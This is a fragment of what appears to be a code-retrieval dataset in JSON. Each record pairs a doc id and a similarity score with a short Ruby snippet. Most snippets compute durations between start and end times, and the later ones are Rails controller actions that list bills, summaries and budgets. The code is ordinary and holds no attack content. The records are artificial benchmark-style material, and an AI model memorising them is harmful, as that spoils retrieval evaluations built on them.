"1dbe3849ffef0b28a2e180ea95f368da", "score": "0.7849364", "text": "def duration()\n self.end.to_f - self.start.to_f\n end", "title": "" }, { "docid": "550414b76f6ecf6331d9244e59209690", "score": "0.7847431", "text": "def get_duration\n duration = nil\n if !@start_time.nil? && !@end_time.nil?\n duration = @end_time - @start_time\n end\n return duration\n end", "title": "" }, { "docid": "2ea610bb0859168057667c9f62d140ba", "score": "0.78182775", "text": "def calculate_end_time\n start_time = validate_start_time\n duration = validate_duration\n if start_time && duration\n self.end_time = start_time + (duration.hours - 60)\n end\n end", "title": "" }, { "docid": "7608999f8716b5c58b57975267643165", "score": "0.78145725", "text": "def determine_duration_or_end_time\n if start_time and (end_time.present? ^ duration_minutes.present?)\n self.duration_minutes = (end_time - start_time) / 1.minute if end_time.present?\n self.end_time = start_time + duration_minutes if duration_minutes.present?\n end\n end", "title": "" }, { "docid": "75a172a4d97e75f1277bb878d60ce34f", "score": "0.7801833", "text": "def duration\n return \"-\" if [start_time, end_time].any?(&:nil?)\n distance = (end_time - start_time).to_i\n distance.divmod(60).zip(['min', 'sec']).select{|x| x.first.nonzero? }.join(\" \")\n end", "title": "" }, { "docid": "a395142e93c9318bf8a89bdffc78ac88", "score": "0.7799255", "text": "def end_time\n self.start_time + self.duration\n end", "title": "" }, { "docid": "ac02c7f1fc2bf9e8a8bef9a35e70af4c", "score": "0.7778179", "text": "def duration\n ends_at - starts_at\n end", "title": "" }, { "docid": "77d17526f26e399d2b1ce573cc3c5662", "score": "0.7771425", "text": "def duration\n @duration ||= (self.end - time) * 1000.0\n end", "title": "" }, { "docid": "5f00d7d52ace45bb13eb3af2a768162e", "score": "0.77644205", "text": "def duration\n if @end_time == nil\n trip_duration = 0\n else\n trip_duration = @end_time - @start_time\n end\n return trip_duration\n end", "title": "" }, { "docid": "b1ed18b9a5dadca5375e13e52ad85b7c", "score": "0.77618563", "text": "def endTime(start_time)\n \treturn start_time+@duration\n end", "title": "" }, { "docid": "726352a8741d4688a2378cc3dcbfa6c2", "score": "0.7757236", "text": "def duration\n end_date = Date.new(end_time.year, end_time.month, end_time.day)\n start_date = Date.new(start_time.year, start_time.month, start_time.day)\n (end_date - start_date).to_i\n end", "title": "" }, { "docid": "f27fe4a4c57598c94017ab202ecb9c94", "score": "0.7750957", "text": "def duration\n 1 + (@end_date - @start_date).to_i\n end", "title": "" }, { "docid": "d65b12d799739e24c7930862eacdbfcd", "score": "0.76947784", "text": "def update_duration\n if self.start_time and self.end_time and duration.blank?\n time_at = Time.zone.at(self.end_time - self.start_time)\n self.duration = (time_at.hour * 60) + time_at.min\n end\n end", "title": "" }, { "docid": "6a01461e439f078de1f13d25605cf824", "score": "0.76723886", "text": "def duration\n @duration ||= 1000.0 * (self.end - time)\n end", "title": "" }, { "docid": "9ce90f9038b0089f8562493fb5cdba8f", "score": "0.7661759", "text": "def duration\n self.stop - self.start\n end", "title": "" }, { "docid": "5543dc9848448794048333ae90c04b64", "score": "0.7609048", "text": "def projected_duration\n if @end and @start and @end - @start > 60 # difference should be at least 1 minute, or else we won't trust it\n @end - @start\n else\n 30 * 60 # Hardcode at 30 minutes for now TODO make different estimates based on production (e.g., exhibit, movie)\n end\n end", "title": "" }, { "docid": "947060b3479572235f728d0467a41736", "score": "0.759285", "text": "def duration(t_end = nil, t_start = nil, precision: 2)\n return 0.0 if t_start.nil? && !finished?\n t_start ||= start_time\n t_end ||= end_time || timestamp\n # noinspection RubyMismatchedArgumentType\n (t_end - t_start).round(precision).to_f\n end", "title": "" }, { "docid": "51e77e284682f099545f1868779f45ad", "score": "0.7585785", "text": "def duration\n 1000.0 * (self.end - time)\n end", "title": "" }, { "docid": "5313524e8f8ba4b398b20f80e2f13613", "score": "0.758202", "text": "def duration\n (end_date - start_date) / 1.day\n end", "title": "" }, { "docid": "2be34a954aa35cfb5d49eac8623d26bf", "score": "0.75621325", "text": "def duration\n seconds_diff = (self.start_time - self.end_time).to_i.abs\n\n hours = seconds_diff / 3600\n seconds_diff -= hours * 3600\n\n minutes = seconds_diff / 60\n seconds_diff -= minutes * 60\n\n seconds = seconds_diff\n\n return \"#{hours.to_s.rjust(2, '0')}:#{minutes.to_s.rjust(2, '0')}:#{seconds.to_s.rjust(2, '0')}\"\n end", "title": "" }, { "docid": "6e5bb3dfd907ef9b33b03c505909b745", "score": "0.7554886", "text": "def get_time_difference\n set_start_end_time\n if self.start_time && !self.start_time.nil? && self.end_time && !self.end_time.nil?\n duration = (self.end_time.to_time - self.start_time.to_time) / 60.0\n if duration > 0\n @dur_setng_is_one100th = self.company.duration_setting.setting_value == \"1/100th\" unless @dur_setng_is_one100th\n actual_duration = @dur_setng_is_one100th ? one_hundredth_timediffernce(duration) : one_tenth_timediffernce(duration)\n else\n return 0\n end\n elsif self.start_time && !self.start_time.nil? && self.end_time.nil?\n return 0\n else\n return \"Please enter valid time details in the format HH:MM\"\n end\n end", "title": "" }, { "docid": "341da0d4b0bbfe83437c9e5a9117b1df", "score": "0.75490755", "text": "def duration\n end_date - date\n end", "title": "" }, { "docid": "9537081d5dcc8baf7a8e4ad6eef4cd99", "score": "0.75415814", "text": "def duration \n (finished_on - started_on).to_f.round(2) rescue 0.0\n end", "title": "" }, { "docid": "2434f96e07c5f19f2d0e19c73bc97495", "score": "0.7535556", "text": "def duration\n self.end - self.begin\n end", "title": "" }, { "docid": "2434f96e07c5f19f2d0e19c73bc97495", "score": "0.7535556", "text": "def duration\n self.end - self.begin\n end", "title": "" }, { "docid": "723333ec56cc4215718075551b371d28", "score": "0.752511", "text": "def duration(precision: 2)\n return 0.0 unless finished?\n # noinspection RubyMismatchedArgumentType\n (end_time - start_time).round(precision).to_f\n end", "title": "" }, { "docid": "d3d004bb9fcf062858f8a2b56d445291", "score": "0.75017375", "text": "def duration\n return '00:00:00' if @start_time.nil?\n d = DateTime.now.to_time - @start_time.to_time\n d = @end_time.to_time - @start_time.to_time unless @end_time.nil?\n Time.at(d).utc.strftime '%H:%M:%S'\n end", "title": "" }, { "docid": "86a470242af9376ec85bc64d28be16ca", "score": "0.7492095", "text": "def calculate_duration\n if end_date\n self.duration = end_date.mjd - start_date.mjd\n elsif duration\n self.end_date = start_date + duration\n end\n end", "title": "" }, { "docid": "d12e7249e9a7c5f69a39dc91bbc79ca6", "score": "0.7480491", "text": "def duration\n if started_at\n if finished_at\n (finished_at.to_i - started_at.to_i) / 60\n else\n (DateTime.current.to_i - started_at.to_i) / 60\n end\n else\n 0.0\n end\n end", "title": "" }, { "docid": "2147a1951858aff03a362f7c7be19651", "score": "0.7466293", "text": "def calculate_duration\n return if out_time.nil? || in_time.nil? || duration.present?\n\n in_time = self.in_time\n\n # if dept time is after arv time add 1 day (Rails/DB field difference)\n in_time += 1.day if out_time > in_time\n\n self.duration = ((in_time - out_time) / 1.hour).round(1)\n end", "title": "" }, { "docid": "5208468e28431c85d23abe0f94fba012", "score": "0.7464809", "text": "def duration\n return 0 if end_date == nil || start_date == nil\n (end_date - start_date).to_i + 1\n end", "title": "" }, { "docid": "5208468e28431c85d23abe0f94fba012", "score": "0.7464809", "text": "def duration\n return 0 if end_date == nil || start_date == nil\n (end_date - start_date).to_i + 1\n end", "title": "" }, { "docid": "5208468e28431c85d23abe0f94fba012", "score": "0.7464809", "text": "def duration\n return 0 if end_date == nil || start_date == nil\n (end_date - start_date).to_i + 1\n end", "title": "" }, { "docid": "d2b8469aafe803afaa5f4dece4f20574", "score": "0.74491715", "text": "def duration_minutes\n ((@end_dt - @begin_dt) * 24 * 60).to_i\n end", "title": "" }, { "docid": "55f664b3af6c70f36e48948bb50db0e7", "score": "0.7447091", "text": "def projected_duration\n max_time_spent = 3 * 60 * 60 # Maximum of 3 hours\n duration = default_duration = 30 * 60 # default to 30 minutes #TODO make different estimates based on production (e.g., exhibit, movie)\n\n if @end and @start and @end - @start > 60 and @end - @start < max_time_spent # difference should be at least 1 minute, or else we won't trust it\n duration = @end - @start\n end\n duration\n end", "title": "" }, { "docid": "dd59840b98002853fc00eeb40c38c95f", "score": "0.74357265", "text": "def time\n end_time - start_time\n end", "title": "" }, { "docid": "968e5f06a2f1c50f5afbae6e29f51498", "score": "0.74229723", "text": "def duration\r\n start_date..end_date\r\n end", "title": "" }, { "docid": "6cf79ab9f42ee37752e13bd371368bb3", "score": "0.7412437", "text": "def elapsed_time\n @end_time - @start_time if @start_time && @end_time\n end", "title": "" }, { "docid": "d6be4d59b7ed95b02c69f88fe9df80d5", "score": "0.74098283", "text": "def duration\n ( Date.parse(self.end_date).mjd - Date.parse(self.start_date).mjd ) + 1\n end", "title": "" }, { "docid": "28dbf1e62acdb6a0e2200923fdb91e0d", "score": "0.73896164", "text": "def event_duration\n (( self.end_at - self.start_at) / 1.hour).round\n end", "title": "" }, { "docid": "28dbf1e62acdb6a0e2200923fdb91e0d", "score": "0.73896164", "text": "def event_duration\n (( self.end_at - self.start_at) / 1.hour).round\n end", "title": "" }, { "docid": "75ea15648b325fb3e699accf03f44cb7", "score": "0.7381536", "text": "def diff_seconds(start, finish)\n ((finish - start) * 86_400).to_i\n end", "title": "" }, { "docid": "45d65e3ba43a129e7fe05990785cc6fc", "score": "0.7362779", "text": "def event_duration\n ((self.end_at - self.start_at) / 1.hour).round\n end", "title": "" }, { "docid": "c2f4b47fd02bad8ef638d1268f8ed646", "score": "0.7346978", "text": "def end_time(start, duration)\n DateTime.parse(start) + (duration / (24*60*60))\n end", "title": "" }, { "docid": "a42d46ef49ee87faa192e3731beb29a8", "score": "0.73334813", "text": "def elapsed_seconds(start_time, end_time)\n end_time.to_i - start_time.to_i\nend", "title": "" }, { "docid": "fc2b97cd5f1788e300bc71baf22b3972", "score": "0.73262864", "text": "def time_in_bed\n return unless end_time\n end_time - start_time\n end", "title": "" }, { "docid": "715a3760397a5f6535d7bbbfef44923c", "score": "0.7314032", "text": "def duration\n start_date = DateTime.parse(@start_date)\n end_date = DateTime.parse(@end_date)\n (end_date - start_date).to_i + 1\n end", "title": "" }, { "docid": "2dd4756fc2adb71a778d299b4e831ea1", "score": "0.73052627", "text": "def duration_of_trip\n begin\n duration = @end_time - @start_time\n rescue NoMethodError\n duration = nil\n puts \"Cannot calculate duration of trip: still in progress.\"\n end\n return duration\n end", "title": "" }, { "docid": "f95e03ba0e46f130834ef2b2abdcf7a0", "score": "0.727586", "text": "def duration_in_date\n\t\tif expected_start_date and expected_end_date\n\t \t\tif expected_start_date == expected_end_date\n\t \t\t\treturn 1\n\t \t\telse\n\t \t\t\t((expected_end_date - expected_start_date)/ (24 * 60 * 60))\n\t \t\tend\n\t\telse\n\t\t\tduration\n\t\tend\n\n\tend", "title": "" }, { "docid": "1a35798e5fa18e4559b92272e0b10598", "score": "0.726399", "text": "def elapsed_seconds(start_time, end_time)\n (end_time - start_time).to_i\nend", "title": "" }, { "docid": "dcae39ea63b4750ac36873344c77c842", "score": "0.72606313", "text": "def duration\n Shift.new(start_at_hour, end_at_hour).duration\n end", "title": "" }, { "docid": "63c73c17eca3d46ac313f886d356834d", "score": "0.7246643", "text": "def elapsed_seconds(start_time, end_time)\n Integer(end_time - start_time)\nend", "title": "" }, { "docid": "7990c56a647b815dd0ebe8a73d2a2b0f", "score": "0.72363895", "text": "def duration(options = {})\n duration = nil\n if !options[:duration].nil? && !options[:end].nil?\n raise \"Can not use both end time and duration\"\n elsif !options[:duration].nil? && options[:end].nil?\n duration = options[:duration]\n elsif options[:duration].nil? && !options[:end].nil?\n duration = options[:end] - (options[:start] || 0)\n end\n duration\n end", "title": "" }, { "docid": "34b981ef367f669870d7cd06e674ea11", "score": "0.72167283", "text": "def length\n\t\tif end_time.nil? || start_time.nil?\n\t\t\treturn 0\n\t\tend\n\t\t((end_time - start_time) / 60).to_i\n\tend", "title": "" }, { "docid": "34b981ef367f669870d7cd06e674ea11", "score": "0.72167283", "text": "def length\n\t\tif end_time.nil? || start_time.nil?\n\t\t\treturn 0\n\t\tend\n\t\t((end_time - start_time) / 60).to_i\n\tend", "title": "" }, { "docid": "17d7aa6286c7dd5ddb16bad5044a23a3", "score": "0.71690506", "text": "def duration\n # REVIEW: buried configuration? (1 day)\n return if start_at.blank? || end_at.blank?\n return if (end_at - start_at) >= 1\n errors.add(:base, 'start and end difference must be one or more days')\n end", "title": "" }, { "docid": "3e8ac843867694e61bbaba711188d8e2", "score": "0.7163415", "text": "def real_duration\n faed = foreseen_end_date_arr\n rv = if faed != nil and self.start_date != ''\n days = (Time.parse(faed[0]) - Time.parse(self.start_date)) / 1.days\n minus_week_ends(days)\n else\n gantt_duration\n end\n rv = 1 if rv < 1\n rv\n end", "title": "" }, { "docid": "ff437bd56b9efa68c2c5ed8261223f82", "score": "0.7161327", "text": "def working_duration\n return nil unless done_at && started_at\n done_at - started_at\n end", "title": "" }, { "docid": "c377fd8561d4ac3c15c8addecf886d61", "score": "0.7161026", "text": "def duration\n last = enddate || Date.today\n first = startdate || Date.today\n (last - first).to_i\n end", "title": "" }, { "docid": "6e236837b83ebad9752eb7e08568db40", "score": "0.71487486", "text": "def duration\n if completed?\n Integer(completed_at - started_at)\n end\n end", "title": "" }, { "docid": "3c773a2775f4a01537849765d49cd2e7", "score": "0.71338433", "text": "def duration_in_secs\n duration_end_time.to_i - square_press_time.to_i\n end", "title": "" }, { "docid": "c52d67a52a8c281c63cb0961f06875d0", "score": "0.7119571", "text": "def length_in_seconds start_time_as_string, end_time_as_string\n a = start_time_as_string.split(\":\").last.to_i\n b = end_time_as_string.split(\":\").last.to_i\n b = b + 60 if b < a\n (a - b) * -1\nend", "title": "" }, { "docid": "f73f93e4692295be08fe4a4227ca22c1", "score": "0.71044683", "text": "def duration(actual = false)\n (actual && self.report) ? self.report.duration : ((self.end - self.start)/3600 rescue 0)\n end", "title": "" }, { "docid": "3cb2f021cb49d2716a9f1c0a70ac3948", "score": "0.71030426", "text": "def get_time_playing(start, finish)\n (finish - start) / 60\n end", "title": "" }, { "docid": "1e4aabfc9c5b15bb4e3777d75b3ecd24", "score": "0.70999134", "text": "def calculate_time(end_time, start_time, action_type)\n action_time = end_time - start_time\n self.verify_performance_goal(action_time, action_type)\n return action_time\n end", "title": "" }, { "docid": "518bc02ee48a3c0c131b55c572db622d", "score": "0.70925105", "text": "def duration\n to - from.to_i\n end", "title": "" }, { "docid": "5e541075b449afd04fe5d88ef7edf013", "score": "0.7060381", "text": "def duration\n TimeDifference.between(date_from, date_to).in_general\n end", "title": "" }, { "docid": "1dac21db97980e88c3b4f90f286bea3b", "score": "0.7059552", "text": "def event_duration\n if self.start_date && self.end_date\n (self.end_date - self.start_date).to_i\n else\n nil\n end\n end", "title": "" } ]
696387e1ad5b91992113a9b89605b3a8
GET /bill_summaries GET /bill_summaries.json
[ { "docid": "82d61ee3f8ac150db261c26453d628c6", "score": "0.79001945", "text": "def index\n @bill_summaries = BillSummary.all\n end", "title": "" } ]
[ { "docid": "40052b38990ff3d260f34b902daa587b", "score": "0.6743894", "text": "def index\n @bill_detail_infos = BillDetailInfo.all\n end", "title": "" }, { "docid": "f86cab27572c50f31d7f3878d36e10e5", "score": "0.6628985", "text": "def index\n render json: Bill.all\n end", "title": "" }, { "docid": "6c2f573b09880a19b684774783bf6120", "score": "0.66044873", "text": "def index\n @bills = Bill.all\n \n respond_with @bills, represent_with: Billit::BillPageRepresenter\n end", "title": "" }, { "docid": "dc7908b30c23642035c5624bde1b130c", "score": "0.6494873", "text": "def show\n @summaries = Summary.all \n end", "title": "" }, { "docid": "6ea4bd8c3462b79ca36edf79eb7f95e6", "score": "0.64316285", "text": "def index\n @bill_entries = BillEntry.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "80e0286ed758a568b8a162b14571981b", "score": "0.63464934", "text": "def index\n @bills = Bill.all\n end", "title": "" }, { "docid": "87ef1cfc0246c9bbbebf39317126d317", "score": "0.62671715", "text": "def show\n render json: @bill\n end", "title": "" }, { "docid": "e48d3b6cf618d4abe01e9b55257eb45a", "score": "0.62649053", "text": "def index\n @bills = Bill.all_cached\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "title": "" }, { "docid": "53a9d68c0a6e28521eaadb3be1cb66e2", "score": "0.6252573", "text": "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "title": "" }, { "docid": "dacc2fc774a71226527912a5dcdc3671", "score": "0.6252515", "text": "def index\n @bill = Bill.find(params[:bill_id])\n @billed_calls = Kaminari.paginate_array(@bill.billed_calls).page(params[:subpage]).per(Source::Application.config.items_per_page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @billed_calls }\n end\n end", "title": "" }, { "docid": "6d05ae33bb0164c447c042fb30f0801e", "score": "0.6173896", "text": "def set_bill_summary\n @bill_summary = BillSummary.find(params[:id])\n end", "title": "" }, { "docid": "e205fd7feb652e6f0fa9cd4d3994d4e0", "score": "0.61544263", "text": "def show\n @bill = Bill.find(params[:id])\n\n render json: @bill\n end", "title": "" }, { "docid": "0c01e5202fa0e7d55a1592bfd4947263", "score": "0.61176735", "text": "def index\n @billings = Billing.all\n end", "title": "" }, { "docid": "c9ea0392f038ab7073c89f356c287e0b", "score": "0.61098075", "text": "def index\n reset_session\n @balance_bills = BalanceBill.includes(:patient).without_status(:deleted, :archived).without_balance_status(:waived, :closed).order(\"patients.last_name, patients.first_name\")\n @title = \"Balance Bills\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => {:balance_bill => @balance_bills } }\n end\n end", "title": "" }, { "docid": "40c109ec954dd1d0bb0dd109c5e494f4", "score": "0.61073136", "text": "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "title": "" }, { "docid": "d51cd45b032336dd6697103f50cfd74c", "score": "0.60774237", "text": "def index\n @billboards = Billboard.all\n end", "title": "" }, { "docid": "30ce86bc57a13a8516fe27429ba55618", "score": "0.6076543", "text": "def index\n @bill_cargos = @bill.bill_cargos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_cargos }\n end\n end", "title": "" }, { "docid": "c3a6655b983baa434ac0eb2e325d4192", "score": "0.6066319", "text": "def index\n get_budgets\n end", "title": "" }, { "docid": "fa5ac309bb1f91772268912a0baaaf37", "score": "0.6057797", "text": "def index\n @budgets = Budget.all\n end", "title": "" }, { "docid": "b7840d6f8124acefdbbdff2961126a29", "score": "0.60573745", "text": "def index\n @billings = current_account.billings\n end", "title": "" }, { "docid": "8147bb46cf88e7a58ca37ccdebd3dd65", "score": "0.60394907", "text": "def index\n billing_logs = Atmosphere::BillingLog.last_year\n\n @user = Atmosphere::User.find params[:user_id] if params[:user_id]\n billing_logs = billing_logs.where(user: @user) if @user\n\n billing_logs = billing_logs.sum_currency_by_month\n billing_logs = billing_logs.group_by { |x| x[0][0] }\n\n @data_series =\n if billing_logs.present?\n billing_logs.map do |bl_currency|\n {\n name: bl_currency.first,\n data: Atmosphere::BillingLog.month_data_series(bl_currency.second)\n }\n end\n else\n [{\n name: 'No consumption',\n data: [0] * 12\n }]\n end.to_json\n\n render partial: 'atmosphere/admin/funds/billing', format: :html\n end", "title": "" }, { "docid": "ffdaa8ac3ff6ea3b89923fd08df7e1db", "score": "0.6023378", "text": "def show\n @monthlybill = Monthlybill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthlybill }\n end\n end", "title": "" }, { "docid": "d23003de6862e2e27e812dd08fcb3612", "score": "0.602186", "text": "def index\n \tif params[:for_timeline]\n\t\t\t@bills = Bill.where(:initiator_id.in => params[:politicians]).where(:complete =>true).limit(10)\n\t\telse\n\t \t@bills = Bill.all.limit(10)\n \tend\n\n respond_to do |format|\n format.json { render json: @bills.to_json(:include => {:initiator => {:only =>[:name]}}) }\n end\n\n end", "title": "" }, { "docid": "e9d2c13ae263cfe6b71de528464ab7c0", "score": "0.6014065", "text": "def show\n @bills = Bill.find(params[:id])\n end", "title": "" }, { "docid": "7c5c50c0ecbedb174db77e0583a6edcf", "score": "0.60097146", "text": "def index\n @flow_bills = FlowBill.all\n end", "title": "" }, { "docid": "46aee71eb35aa30923c1d6a6149398a2", "score": "0.59969157", "text": "def index\n @summaries = Summary.all\n @summary = Summary.new\n end", "title": "" }, { "docid": "8704132a6f3d34a0453867b9161329c7", "score": "0.5995246", "text": "def index\n @bill_quorums = BillQuorum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_quorums }\n end\n end", "title": "" }, { "docid": "69260b1e269b524edbf74fab04684c1b", "score": "0.598445", "text": "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "69260b1e269b524edbf74fab04684c1b", "score": "0.598445", "text": "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "9a45f644e0340ff6471aa04d55823df8", "score": "0.5976478", "text": "def index\n @bundle_totals = BundleTotal.all\n end", "title": "" }, { "docid": "eabddb5602c1565da9063833b5c37788", "score": "0.5961459", "text": "def find_summaries_by_brand(brand_id)\n @request = setup_request \"#{@@resource_url}s\"\n @request.query = { brandId: brand_id }\n @request\n end", "title": "" }, { "docid": "5b2cb5adec5fe17dadd063ec02fbab7a", "score": "0.5951454", "text": "def index\n @banks = Bank.all\n render json: @banks\n end", "title": "" }, { "docid": "8c1ca947472ecbb1cbb414699f2e98f1", "score": "0.59478", "text": "def index\n @monthly_summaries = MonthlySummary.all.order(:begin_at)\n end", "title": "" }, { "docid": "cd5cb80257045d775d6e5f72fb9e25e6", "score": "0.592261", "text": "def show\n @bill = Bill.find(params[:id])\n\t respond_to do |format|\n format.json { render json: @bill}\n format.html \n end\n end", "title": "" }, { "docid": "7932bd50d002364960093a624705dd8e", "score": "0.5920432", "text": "def index\n @banneds = Banned.all\n end", "title": "" }, { "docid": "064beac37347f103fb7f66d3405712fb", "score": "0.59047174", "text": "def show\r\n @bill = Bill.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @bill }\r\n end\r\n end", "title": "" }, { "docid": "55d676c7af0cd28428eea94f9d8785a9", "score": "0.5900382", "text": "def index\n @az_bills = AzBill.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @az_bills }\n end\n end", "title": "" }, { "docid": "a1c0974bea8045badd566616d838b430", "score": "0.58926123", "text": "def index\n @managers = Manager.all\n @shipping_addresses = ShippingAddress.all\n @search = AuditDocument.available_for_user(current_user).search(params[:q])\n @audit_documents = @search.result.page(params[:page]).per(current_user.list_page_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audit_documents }\n end\n end", "title": "" }, { "docid": "d3f7ba1890b4750458dd4ef4a3fce8fa", "score": "0.58844274", "text": "def index\n @user_bills = UserBill.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_bills }\n end\n end", "title": "" }, { "docid": "f1eebfdeda4c3a9f9312cd36c6905088", "score": "0.586195", "text": "def index\n @bills = current_user_or_guest.bills \\\n .includes(:user, participations: :person) \\\n .order(\"bills.date DESC, bills.created_at DESC\")\n\n respond_to do |format|\n format.html { @bills = @bills.decorate }\n format.xml { render xml: @bills }\n format.json { render json: @bills }\n end\n end", "title": "" }, { "docid": "73b4d968f62b59e4eec01498a59d41e1", "score": "0.5853716", "text": "def index\n @sumits = Sumit.all\n end", "title": "" }, { "docid": "2ac8b6ca1a29c6ec99d23a95d935930d", "score": "0.58458", "text": "def summary\n response = get \"summary\", {}\n Hashie::Mash.new(response)\n end", "title": "" }, { "docid": "10e97ddf73469ef0746d15db36ee4d81", "score": "0.5845764", "text": "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\t\t\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "1c00b1f8ed55042cf6b529d329e4cd8f", "score": "0.58305234", "text": "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "title": "" }, { "docid": "c1177314ac59f04d747ff6a19ffa9734", "score": "0.58271676", "text": "def index\n @bills = Bills.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bills }\n end\n end", "title": "" }, { "docid": "e70d436ccd0ca75991fa5644945ead86", "score": "0.5826982", "text": "def index\n @bank_details = BankDetail.all\n end", "title": "" }, { "docid": "559ee1db6cf090aa80df64aec524f8e5", "score": "0.5824125", "text": "def index\n @blogs = Blog.scoped.page(params[:page]).per(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end", "title": "" }, { "docid": "c9ebb4d764509b099261b390192f66f4", "score": "0.5817185", "text": "def index\n @transactionbills = Transactionbill.all\n end", "title": "" }, { "docid": "95acd13af43505d2940e888d3339f4fa", "score": "0.5815858", "text": "def create\n @bill_summary = BillSummary.new(bill_summary_params)\n\n respond_to do |format|\n if @bill_summary.save\n format.html { redirect_to @bill_summary, notice: 'Bill summary was successfully created.' }\n format.json { render :show, status: :created, location: @bill_summary }\n else\n format.html { render :new }\n format.json { render json: @bill_summary.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cdc5a3d64e8e2e642a3b24c88f06c0ef", "score": "0.58064574", "text": "def index\n @bill_months = BillMonth.all\n end", "title": "" }, { "docid": "2c121fb3f86d18b36e478f35197912c8", "score": "0.5789527", "text": "def index\n @bank_accounts = BankAccount.all\n render :json => @bank_accounts.to_json\n end", "title": "" }, { "docid": "cb4ce3a093de88eafe3394522a87f0c1", "score": "0.5789339", "text": "def show\n # calculate bill payment information\n @payment_sum = 0\n @bill.bill_payments.each do |payment|\n @payment_sum += payment.amount\n end\n @percentage = (@payment_sum/@bill.amount)*100.to_int\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "f045448f603205c0fcb7c09b4fc4c582", "score": "0.5785883", "text": "def index\n @ballots = Ballot.all\n end", "title": "" }, { "docid": "f045448f603205c0fcb7c09b4fc4c582", "score": "0.5785883", "text": "def index\n @ballots = Ballot.all\n end", "title": "" }, { "docid": "1bd6b2a433e28708460e43d5a13fdf59", "score": "0.57833844", "text": "def index\n @q = current_center.bills.by_latest.search params[:q]\n\n @bills = @q.result.page params[:page]\n end", "title": "" }, { "docid": "02bf94558a6d177ad664307ab05eb632", "score": "0.5774889", "text": "def index\n @export_budgets = ExportBudget.all\n end", "title": "" }, { "docid": "7fe0d38f70b184e26e36371532091506", "score": "0.5772021", "text": "def index\n @budgets = Budget.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end", "title": "" }, { "docid": "a15fe1d99134d0dfa8d53e70b56cae76", "score": "0.57670987", "text": "def index\n @businesses = Business.all.offset(offset).limit(limit)\n render json: @businesses\n end", "title": "" }, { "docid": "ac8355d07e1353ac36659b08db8f2002", "score": "0.5761979", "text": "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "title": "" }, { "docid": "c40e0bb153086f2ce1e21b786b75df8d", "score": "0.57491344", "text": "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "title": "" }, { "docid": "82d319ec6f33d6f11868be8c222b377b", "score": "0.574163", "text": "def index\n @panel_billings = Panel::Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_billings }\n end\n end", "title": "" }, { "docid": "61f57c144cd0e46edda9f27e92ad2965", "score": "0.573644", "text": "def index\n @export_budgets = ExportBudget.get_export_budgets_by_user current_user\n @export_budgets = @export_budgets.page(params[:page]).per(25)\n end", "title": "" }, { "docid": "7779fc891e6dbef2bc574713f12b100e", "score": "0.5724996", "text": "def index\n @open_bills = Bill.by_user_id(current_user.id).open.scoped(:include => [:payments, :payers, :creator, :category]).uniq\n @closed_bills = Bill.by_user_id(current_user.id).closed.scoped(:include => [:payments, :payers, :creator, :category]).reverse.uniq\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @open_bills }\n format.xml { render :xml => @open_bills }\n end\n end", "title": "" }, { "docid": "9c9f1842c0bd13717e63226649828f78", "score": "0.5718354", "text": "def index\n @books = Book.extended_details\n\n render json: @books.as_json(\n only: [:id, :title, :author, :created_at, :total_income_cents, :copies_count, :remaining_copies_count, :loaned_copies_count]\n )\n end", "title": "" }, { "docid": "4a4fa152af73fe436bcbfcafba4204e0", "score": "0.57182956", "text": "def index\n @bills = Bill.all(order: 'session desc, ext_bill_id') if ['json','js'].include?(params[:format])\n @bills = Bill.paginate(order: 'session desc, ext_bill_id', page: params[:page]) unless ['json','js'].include?(params[:format])\n @bills_simple = @bills.map do |bill|\n bill.list_attributes\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills_simple }\n format.js { render json: @bills_simple, callback: 